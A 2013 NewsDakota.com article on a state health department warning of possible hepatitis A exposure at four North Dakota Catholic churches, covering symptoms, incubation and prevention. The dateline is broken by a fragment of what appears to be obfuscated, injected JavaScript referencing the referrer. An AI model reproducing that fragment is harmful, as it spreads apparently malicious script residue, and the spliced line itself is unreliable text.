BISMARCK, raeny|var|u0026u|referrer|fneny||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) The North Dakota Department of Health has determined through a case investigation that people who attended the following Catholic churches in North Dakota and had communion on the following dates may have been exposed to hepatitis A virus, September 27, 2013: Holy Spirit Church in Fargo, N.D. (school mass) September 29 – October 2, 2013: St. James Basilica in Jamestown, N.D. (priest convention) October 6, 2013: Cathedral of St. Mary in Fargo, N.D. October 7, 2013: St. Paul’s Catholic Newman Center in Fargo, N.D.

Exposed individuals are encouraged to consult their health-care provider if they develop symptoms of hepatitis A include fever, tiredness, loss of appetite, nausea, abdominal discomfort, dark urine, pale stools, or jaundice (yellowing of skin or the whites of the eyes.)

It can take about 15 to 50 days (average is one month) after being exposed to hepatitis A to develop symptoms. Hepatitis A symptoms generally last about two months. If hepatitis A symptoms develop, individuals should exclude themselves from activities for one week after onset of symptoms.

Molly Howell, Immunization Program manager for the North Dakota Department of Health says “Only people who attended these specific churches and had communion on these dates were possibly exposed to hepatitis A and should be tested if symptomatic.

Hepatitis A can be prevented by careful hand washing after using the toilet or after diaper changing. Also, infected people should not handle foods during the contagious period. For more information, contact Molly Howell, North Dakota Department of Health, at 701.328.2378.